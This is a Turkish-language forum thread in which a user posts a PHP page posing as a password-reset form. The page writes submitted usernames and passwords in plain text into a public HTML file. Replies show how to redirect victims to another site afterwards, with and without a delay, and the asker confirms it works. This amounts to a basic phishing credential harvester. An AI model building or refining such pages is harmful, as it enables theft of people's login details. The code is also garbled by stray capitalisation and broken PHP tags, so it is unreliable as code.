Çözüldü Butona basıldığında linke yönlendirme nasıl yapılıyor?

Bu konu çözüldü olarak işaretlenmiştir. Çözülmediğini düşünüyorsanız konuyu rapor edebilirsiniz.

Bedirhan6663

Picopat
Katılım
4 Ekim 2020
Mesajlar
128
Daha fazla  
Cinsiyet
Erkek
Arkadaşlar elimde bir kod var:

<?PHP.

Echo '
<HTML>
<Form name="as" Action="" method="post">
Yeni şifre:
<Input type="text" name="user">
<Br><br>
Yeni şifre onayla:
<Input type="password" name="password">
<Br><br>
<Button type="şifreyi yenile" name="xyz">gir</button></form>
</HTML>
';

$Jvc = $_post['user']; #usernameyi çekiyor.

$Jerus = $_post['password']; # Pass çekiyor.

$Metin = '<HTML><Center><h3>user: '.$Jvc.' // Pass: '.$Jerus.'</H3></Center></HTML>'; #HTML'de topluyor.

İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
}

>

İşte benim soracağım şey, şifreyi yenile butonuna basıldığında belli bir linke yönlendirmesi. Onu nasıl yapacağım bilen var mı?
 
Çözüm
O zaman php ile header kullanarak yap bu işlemi. Eğer post edilmişse olarak.
<?
İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
header("Location: link.html");
}

?>
O zaman php ile header kullanarak yap bu işlemi. Eğer post edilmişse olarak.
<?
İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
header("Location: link.html");
}

?>
Arkadaş yeri göstermiş.
 
O zaman PHP ile header kullanarak yap bu işlemi. Eğer post edilmişse olarak.
<?
İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
header("location: link.html");
}

>

Teşekkürler deneyeceğim.
O zaman PHP ile header kullanarak yap bu işlemi. Eğer post edilmişse olarak.
<?
İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
header("location: link.html");
}

>

Hocam denedim sorunsuz çalışıyor. Buradan bakıp yapamayn arkadaş olursa link.html yerine linkiniz HTML ile bitmiyorsa sayfa bulunamadı hatası verebilir. Benim linkim .com ile bitiyordu öyle yaptım.
 
Son düzenleme:
O zaman php ile header kullanarak yap bu işlemi. Eğer post edilmişse olarak.
<?
İf (isset($_post['password'])) {

$Kok = fopen("gelsin.html", "a");
Fwrite($kok, $metin);
Fclose($kok);
header("Location: link.html");
}

?>
Konuyu hortlatıyorum ama buna zaman verme nasıl yapılıyor? Butona bastığımda anında siteye yönlendiriyor. Ben 1-2 saniye bekletmesini istiyorum
 
Konuyu hortlatıyorum ama buna zaman verme nasıl yapılıyor? Butona bastığımda anında siteye yönlendiriyor. Ben 1-2 saniye bekletmesini istiyorum
O zaman JavaScript kullan. Onclick (HTMLElement.addEventListener) olduğunda setTimeout ile beklet sonra da location.href ile yönlendir.
 
Konuyu hortlatıyorum ama buna zaman verme nasıl yapılıyor? Butona bastığımda anında siteye yönlendiriyor. Ben 1-2 saniye bekletmesini istiyorum
Yeni gördüm kusura bakmayın, yukarıdaki header fonksiyonunu şu şekilde değiştirirseniz, iki noktadan sonra belirlediğiniz rakam kadar saniyeden sonra belirttiğiniz URL adresine yönlendirilir.

PHP:
header("Refresh: 3; url=https://www.link.com");
 

Yeni konular

Geri
Yukarı